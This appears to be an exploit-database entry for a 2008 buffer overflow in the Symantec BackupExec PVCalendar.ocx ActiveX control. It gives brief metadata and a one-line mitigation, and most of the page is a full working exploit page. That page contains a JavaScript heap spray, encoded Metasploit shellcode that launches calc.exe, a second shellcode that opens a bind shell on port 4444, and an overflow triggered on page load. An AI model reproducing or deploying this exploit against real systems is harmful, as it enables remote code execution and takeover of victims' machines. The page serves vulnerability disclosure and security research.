Symantec BackupExec Calendar Control(PVCalendar.ocx) BoF Exploit

vendor:

BackupExec

by:

JJ Reyes

9.3

CVSS

HIGH

Buffer Overflow

119

CWE

Product Name: BackupExec

Affected Version From: 10.0.0.17

Affected Version To: 10.0.0.17

Patch Exists: Yes

Related CWE: N/A

CPE: a:symantec:backup_exec:10.0.0.17

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows XP

2008

Symantec BackupExec Calendar Control(PVCalendar.ocx) BoF Exploit

This exploit is a buffer overflow vulnerability in the Symantec BackupExec Calendar Control (PVCalendar.ocx) ActiveX control. It was discovered by JJ Reyes of Secunia Research and tested on Windows XP SP2 (fully patched) English, IE6 and IE7, PVCalendar.ocx version 10.0.0.17. It was written by e.b. and thanks to h.d.m. and the Metasploit crew.

Mitigation:

Disable the ActiveX control in the browser or uninstall the vulnerable version of the software.

Source

Exploit-DB raw data:

<!-- 
Symantec BackupExec Calendar Control(PVCalendar.ocx) BoF Exploit
Vulnerability discovered by JJ Reyes of Secunia Research
http://secunia.com/advisories/27885/
written by e.b.
Tested on Windows XP SP2(fully patched) English, IE6 and IE7, PVCalendar.ocx version 10.0.0.17
Thanks to h.d.m. and the Metasploit crew 
-->
<html>
 <head>
  <title>Symantec BackupExec Calendar Control(PVCalendar.ocx) BoF Exploit</title>
  <script language="JavaScript" defer>
    function Check() {
     
   


// win32_exec -  EXITFUNC=seh CMD=c:\windows\system32\calc.exe Size=378 Encoder=Alpha2 http://metasploit.com 
var shellcode1 = unescape("%u03eb%ueb59%ue805%ufff8%uffff%u4949%u4949%u4949" +
                          "%u4948%u4949%u4949%u4949%u4949%u4949%u5a51%u436a" +
                          "%u3058%u3142%u4250%u6b41%u4142%u4253%u4232%u3241" +
                          "%u4141%u4130%u5841%u3850%u4242%u4875%u6b69%u4d4c" +
                          "%u6338%u7574%u3350%u6730%u4c70%u734b%u5775%u6e4c" +
                          "%u636b%u454c%u6355%u3348%u5831%u6c6f%u704b%u774f" +
                          "%u6e68%u736b%u716f%u6530%u6a51%u724b%u4e69%u366b" +
                          "%u4e54%u456b%u4a51%u464e%u6b51%u4f70%u4c69%u6e6c" +
                          "%u5964%u7350%u5344%u5837%u7a41%u546a%u334d%u7831" +
                          "%u4842%u7a6b%u7754%u524b%u6674%u3444%u6244%u5955" +
                          "%u6e75%u416b%u364f%u4544%u6a51%u534b%u4c56%u464b" +
                          "%u726c%u4c6b%u534b%u376f%u636c%u6a31%u4e4b%u756b" +
                          "%u6c4c%u544b%u4841%u4d6b%u5159%u514c%u3434%u4a44" +
                          "%u3063%u6f31%u6230%u4e44%u716b%u5450%u4b70%u6b35" +
                          "%u5070%u4678%u6c6c%u634b%u4470%u4c4c%u444b%u3530" +
                          "%u6e4c%u6c4d%u614b%u5578%u6a58%u644b%u4e49%u6b6b" +
                          "%u6c30%u5770%u5770%u4770%u4c70%u704b%u4768%u714c" +
                          "%u444f%u6b71%u3346%u6650%u4f36%u4c79%u6e38%u4f63" +
                          "%u7130%u306b%u4150%u5878%u6c70%u534a%u5134%u334f" +
                          "%u4e58%u3978%u6d6e%u465a%u616e%u4b47%u694f%u6377" +
                          "%u4553%u336a%u726c%u3057%u5069%u626e%u7044%u736f" +
                          "%u4147%u4163%u504c%u4273%u3159%u5063%u6574%u7035" +
                          "%u546d%u6573%u3362%u306c%u4163%u7071%u536c%u6653" +
                          "%u314e%u7475%u7038%u7765%u4370");

// win32_bind -  EXITFUNC=seh LPORT=4444 Size=696 Encoder=Alpha2 http://metasploit.com 
var shellcode2 = unescape("%u03eb%ueb59%ue805%ufff8%uffff%u4949%u4949%u4949" +
                          "%u4949%u4949%u4949%u4949%u4949%u4937%u5a51%u436a" +
                          "%u3058%u3142%u4150%u6b42%u4141%u4153%u4132%u3241" +
                          "%u4142%u4230%u5841%u3850%u4241%u7875%u4b69%u724c" +
                          "%u584a%u526b%u4a6d%u4a48%u6b59%u6b4f%u694f%u416f" +
                          "%u4e70%u526b%u744c%u4164%u6e34%u376b%u5535%u4c6c" +
                          "%u714b%u646c%u6145%u7468%u6a41%u6e4f%u626b%u326f" +
                          "%u6c38%u334b%u376f%u5550%u7851%u316b%u6c59%u504b" +
                          "%u6e34%u466b%u6861%u456e%u6f61%u6c30%u6c59%u6b6c" +
                          "%u3934%u4150%u3764%u6877%u6941%u565a%u636d%u4b31" +
                          "%u7872%u6c6b%u7534%u566b%u3134%u5734%u5458%u6b35" +
                          "%u6e55%u336b%u556f%u7474%u7841%u416b%u4c76%u464b" +
                          "%u626c%u6e6b%u416b%u354f%u564c%u6861%u666b%u3663" +
                          "%u6c4c%u6b4b%u7239%u444c%u5764%u616c%u4f71%u4733" +
                          "%u6b41%u336b%u4c54%u634b%u7073%u6c30%u534b%u6470" +
                          "%u6c4c%u724b%u4550%u4e4c%u6c4d%u374b%u7530%u7358" +
                          "%u426e%u4c48%u524e%u466e%u586e%u566c%u3930%u586f" +
                          "%u7156%u4676%u7233%u6346%u3058%u7033%u3332%u5458" +
                          "%u5237%u4553%u5162%u504f%u4b54%u5a4f%u3370%u6a58" +
                          "%u686b%u596d%u456c%u466b%u4930%u596f%u7346%u4e6f" +
                          "%u5869%u7365%u4d56%u5851%u366d%u6468%u7242%u7275" +
                          "%u674a%u5972%u6e6f%u7230%u4a48%u5679%u6b69%u6e45" +
                          "%u764d%u6b37%u584f%u3356%u3063%u5053%u7653%u7033" +
                          "%u3353%u5373%u3763%u5633%u6b33%u5a4f%u3270%u5046" +
                          "%u3568%u7141%u304c%u3366%u6c63%u6d49%u6a31%u7035" +
                          "%u6e68%u3544%u524a%u4b50%u7177%u4b47%u4e4f%u3036" +
                          "%u526a%u3130%u7041%u5955%u6e6f%u3030%u6c68%u4c64" +
                          "%u546d%u796e%u3179%u5947%u596f%u4646%u6633%u6b35" +
                          "%u584f%u6350%u4b58%u7355%u4c79%u4146%u6359%u4b67" +
                          "%u784f%u7656%u5330%u4164%u3344%u7965%u4e6f%u4e30" +
                          "%u7173%u5878%u6167%u6969%u7156%u6269%u3977%u6a6f" +
                          "%u5176%u4945%u4e6f%u5130%u5376%u715a%u7274%u6246" +
                          "%u3048%u3063%u6c6d%u5a49%u6345%u625a%u7670%u3139" +
                          "%u5839%u4e4c%u4d69%u5337%u335a%u4e74%u4b69%u5652" +
                          "%u4b51%u6c70%u6f33%u495a%u336e%u4472%u6b6d%u374e" +
                          "%u7632%u6e4c%u6c73%u704d%u767a%u6c58%u4e6b%u4c4b" +
                          "%u736b%u5358%u7942%u6d6e%u7463%u6b56%u304f%u7075" +
                          "%u4b44%u794f%u5346%u706b%u7057%u7152%u5041%u4251" +
                          "%u4171%u337a%u4231%u4171%u5141%u6645%u6931%u5a6f" +
                          "%u5070%u6e68%u5a4d%u5679%u6865%u334e%u3963%u586f" +
                          "%u6356%u4b5a%u4b4f%u704f%u4b37%u4a4f%u4c70%u614b" +
                          "%u6b47%u4d4c%u6b53%u3174%u4974%u596f%u7046%u5952" +
                          "%u4e6f%u6330%u6c58%u6f30%u577a%u6174%u324f%u4b73" +
                          "%u684f%u3956%u386f%u4350");


	var bigblock = unescape("%u9090%u9090");
	var headersize = 20;
	var slackspace = headersize + shellcode1.length;
	while (bigblock.length < slackspace) bigblock += bigblock;
	var fillblock = bigblock.substring(0,slackspace);
	var block = bigblock.substring(0,bigblock.length - slackspace);
	while (block.length + slackspace < 0x40000) block = block + block + fillblock;

	

	var memory = new Array();
	for (i = 0; i < 350; i++){ memory[i] = block + shellcode1 }
	
	var buf = ""
	for (i = 0; i < 260; i++) { buf = buf + unescape("%0A") }
	
	obj._DOWText0 = buf;
	obj.Save("someFile",0);
	
	
 } 
   
   </script>
  </head>
 <body onload="JavaScript: return Check();">
	<object id="obj" classid="clsid:22ACD16F-99EB-11D2-9BB3-00400561D975">
		Unable to create object
	</object>
 </body>
</html>

# milw0rm.com [2008-02-29]